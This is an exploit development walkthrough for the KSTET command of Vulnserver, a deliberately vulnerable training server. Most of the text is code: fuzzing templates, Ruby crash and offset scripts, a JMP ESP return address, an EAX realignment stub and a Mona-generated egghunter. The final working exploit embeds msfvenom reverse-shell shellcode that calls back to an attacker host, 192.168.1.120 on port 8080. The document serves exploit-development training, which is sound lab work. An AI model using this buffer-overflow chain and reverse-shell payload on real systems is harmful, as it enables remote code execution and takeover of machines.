Vulnserver: developing an exploit for KSTET
We can use the following template to fuzz the command with spike:
s_readline();
s_string("KSTET ");
s_string_variable("COMMAND");
The application crashes instantly.
Looks like our long string was able to override EIP and parts of our buffer are visible in the stack and in EAX.
A PoC script can be found here:
#!/usr/bin/ruby
require 'socket'
target = '192.168.1.121'
port = 9999
s = TCPSocket.open(target, port)
s.puts('KSTET /.:/' + 'A' * 5000)
s.close()
To better understand where our buffer goes, we recreate the crash using a unique string, generated with msf-pattern_create
. Our script will look like this:
#!/usr/bin/ruby
require 'socket'
target = '192.168.1.121'
port = 9999
s = TCPSocket.open(target, port)
payload = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk'
s.puts('KSTET /.:/' + payload)
s.close()
Luckily for us, the memory layout looks similar to the previous crash. Let’s find the offsets with !mona findmsp
:
We have EIP after 66 characters, ESP is at 70 (just after EIP). But ESP only has 20 bytes of buffer after it, and it looks that the longest sequence is 90 bytes long. We will replicate the crash, trying to override EIP and check how much buffer we actually have.
We can see the different parts of our buffer in memory. You can replicate this crash with the following script:
#!/usr/bin/ruby
require 'socket'
target = '192.168.1.121'
port = 9999
s = TCPSocket.open(target, port)
# EIP offset at 66
payload = 'A' * 66
payload += 'BBBB'
payload += 'C' * (5000 - payload.length)
s.puts('KSTET /.:/' + payload)
s.close()
This is very little space, and despite being probably enough for some other payload that would allow us to own the machine all the same, this space is not enough for a shell. If we want to inject a shell, we need to find space for our buffer.
One thing that we can try, is to inject our shellcode with another command before crashing the application.
We can do so by using the following script:
#!/usr/bin/ruby
require 'socket'
target = '192.168.1.121'
port = 9999
buffer = 'D' * 1000
s = TCPSocket.open(target, port)
s.write('STATS ' + buffer)
s.close()
first_stage = 'A' * 66
first_stage += 'BBBB'
first_stage += 'C' * (1000 - first_stage.length)
s = TCPSocket.open(target, port)
s.puts('KSTET /.:/' + first_stage)
s.close()
What the script does is simple: sends a huge buffer of D
with the STATS
command, then crash the server as usual. This will allow us to search in memory for the buffer we sent before crashing the service. Open the memory map, right click on it, click search and look for a long sequence of D
.
Luckily for us, our buffer is there:
Unfortunately, we can’t directly jump to this place in memory, as its address starts with a null byte. Since the memory can’t be directly called, we can solve this by writing an egghunter.
The idea behind an egghunter is simple: we prepend our payload with an arbitrary signature (the “egg”), then we write a small piece of code that scans the memory looking for this signature, when it finds the signature it jumps just after it.
But we are not there yer, first of all, we need a JMP ESP
:
The first instruction is good:
Address=625011AF
Message= 0x625011af : "jmp esp" | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Documents and Settings\werebug\Desktop\Vulnserver\essfunc.dll)
We can use this address to override EIP. This will bring us to our short buffer pointed by ESP, which is 20 bytes long and it’s unfortunately not enough to write our egghunter.
Since EAX is holding a pointer at the beginning of our command, we could realign EAX with our buffer and then jump to EAX.
Our buffer is 10 bytes ahead of the EAX register, so we can add 10 to its value to have a pointer to our buffer:
nasm > add eax, 10
00000000 83C00A add eax,byte +0xa
nasm > jmp eax
00000000 FFE0 jmp eax
This can be placed just after the EIP, at offset 70 and will allow us to gain space or our egghunter.
We can use Mona to generate a 32 byte long egg hunter:
!mona egghunter -t Were
And we paste this egghunter at the beginning of our buffer of A (prepending a few nops for a better visualization). Our script will look like follows:
#!/usr/bin/ruby
require 'socket'
target = '192.168.1.121'
port = 9999
buffer = "D" * 1000
s = TCPSocket.open(target, port)
s.write("STATS WereWere" + buffer)
s.close()
# EIP offset at 66
first_stage = "\x90" * 10;
# egghunter egg Were
first_stage += "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
first_stage += "\xef\xb8\x57\x65\x72\x65\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
first_stage += "\x90" * (66 - first_stage.length)
# 0x625011af : "jmp esp" | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Documents and Settings\werebug\Desktop\Vulnserver\essfunc.dll)
first_stage += "\xaf\x11\x50\x62"
# aligning eax and jmp eax
first_stage += "\x83\xc0\x0a\xff\xe0"
first_stage += "C" * (1000 - first_stage.length)
s = TCPSocket.open(target, port)
s.puts("KSTET /.:/" + first_stage)
s.close()
Notice how I added my signature just before our buffer in the STATS command. This way we can follow the execution and be sure that the egghunter correctly finds our buffer.
We set a breakpoint at our jmp esp
address:
If we take the jump and follow the EAX register in dump, we see that it contains our buffer:
We can now step thorugh the add eax, 10
instruction:
We can see that EAX is now aligned with our buffer of nops (\x90
). If we take the jump, the execution will continue until we find our egghunter:
The first loop, before the first JE SHORT
, checks wether the memory location is a valid memory location, if it is, it goes ahead and check its content.
This will go on for a while, for every single memory location until it finds our signature. We can speed up the process by placing a breakpoint just after the first JNZ SHORT
instruction:
As we can see, the egghunter just found the first part of the egg (which is the string passed as argument repeated twice), and it’s now going to check if the second part is there too. If it’s not, it continues scanning the memory, if it is, it will jump to EDI:
And as we can see, EDI now contains our payload. We can now generate our final payload, paste it into our buffer of Ds and run the exploit:
# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.120 LPORT=8080 EXITFUNC=thread -e x86/shikata_ga_nai -b \x00" -f ruby
Our final exploit will look as follows:
#!/usr/bin/ruby
require 'socket'
target = '192.168.1.121'
port = 9999
# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.120 LPORT=8080 EXITFUNC=thread -e x86/shikata_ga_nai -b "\x00" -f ruby
shellcode =
"\xbf\xe9\x44\x8f\x1f\xdb\xdb\xd9\x74\x24\xf4\x5b\x31\xc9" +
"\xb1\x52\x31\x7b\x12\x83\xeb\xfc\x03\x92\x4a\x6d\xea\x98" +
"\xbb\xf3\x15\x60\x3c\x94\x9c\x85\x0d\x94\xfb\xce\x3e\x24" +
"\x8f\x82\xb2\xcf\xdd\x36\x40\xbd\xc9\x39\xe1\x08\x2c\x74" +
"\xf2\x21\x0c\x17\x70\x38\x41\xf7\x49\xf3\x94\xf6\x8e\xee" +
"\x55\xaa\x47\x64\xcb\x5a\xe3\x30\xd0\xd1\xbf\xd5\x50\x06" +
"\x77\xd7\x71\x99\x03\x8e\x51\x18\xc7\xba\xdb\x02\x04\x86" +
"\x92\xb9\xfe\x7c\x25\x6b\xcf\x7d\x8a\x52\xff\x8f\xd2\x93" +
"\x38\x70\xa1\xed\x3a\x0d\xb2\x2a\x40\xc9\x37\xa8\xe2\x9a" +
"\xe0\x14\x12\x4e\x76\xdf\x18\x3b\xfc\x87\x3c\xba\xd1\xbc" +
"\x39\x37\xd4\x12\xc8\x03\xf3\xb6\x90\xd0\x9a\xef\x7c\xb6" +
"\xa3\xef\xde\x67\x06\x64\xf2\x7c\x3b\x27\x9b\xb1\x76\xd7" +
"\x5b\xde\x01\xa4\x69\x41\xba\x22\xc2\x0a\x64\xb5\x25\x21" +
"\xd0\x29\xd8\xca\x21\x60\x1f\x9e\x71\x1a\xb6\x9f\x19\xda" +
"\x37\x4a\x8d\x8a\x97\x25\x6e\x7a\x58\x96\x06\x90\x57\xc9" +
"\x37\x9b\xbd\x62\xdd\x66\x56\x4d\x8a\x69\xde\x25\xc9\x69" +
"\x01\x26\x44\x8f\x57\x56\x01\x18\xc0\xcf\x08\xd2\x71\x0f" +
"\x87\x9f\xb2\x9b\x24\x60\x7c\x6c\x40\x72\xe9\x9c\x1f\x28" +
"\xbc\xa3\xb5\x44\x22\x31\x52\x94\x2d\x2a\xcd\xc3\x7a\x9c" +
"\x04\x81\x96\x87\xbe\xb7\x6a\x51\xf8\x73\xb1\xa2\x07\x7a" +
"\x34\x9e\x23\x6c\x80\x1f\x68\xd8\x5c\x76\x26\xb6\x1a\x20" +
"\x88\x60\xf5\x9f\x42\xe4\x80\xd3\x54\x72\x8d\x39\x23\x9a" +
"\x3c\x94\x72\xa5\xf1\x70\x73\xde\xef\xe0\x7c\x35\xb4\x01" +
"\x9f\x9f\xc1\xa9\x06\x4a\x68\xb4\xb8\xa1\xaf\xc1\x3a\x43" +
"\x50\x36\x22\x26\x55\x72\xe4\xdb\x27\xeb\x81\xdb\x94\x0c" +
"\x80"
s = TCPSocket.open(target, port)
s.write("STATS WereWere" + shellcode)
s.close()
# EIP offset at 66
first_stage = "\x90" * 10;
# egghunter egg WereWere
first_stage += "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
first_stage += "\xef\xb8\x57\x65\x72\x65\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
first_stage += "\x90" * (66 - first_stage.length)
# 0x625011af : "jmp esp" | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Documents and Settings\werebug\Desktop\Vulnserver\essfunc.dll)
first_stage += "\xaf\x11\x50\x62"
# aligning eax and jmp eax
first_stage += "\x83\xc0\x0a\xff\xe0"
first_stage += "C" * (1000 - first_stage.length)
s = TCPSocket.open(target, port)
s.puts("KSTET /.:/" + first_stage)
s.close()
And once we run the script against the target machine, we get our shell: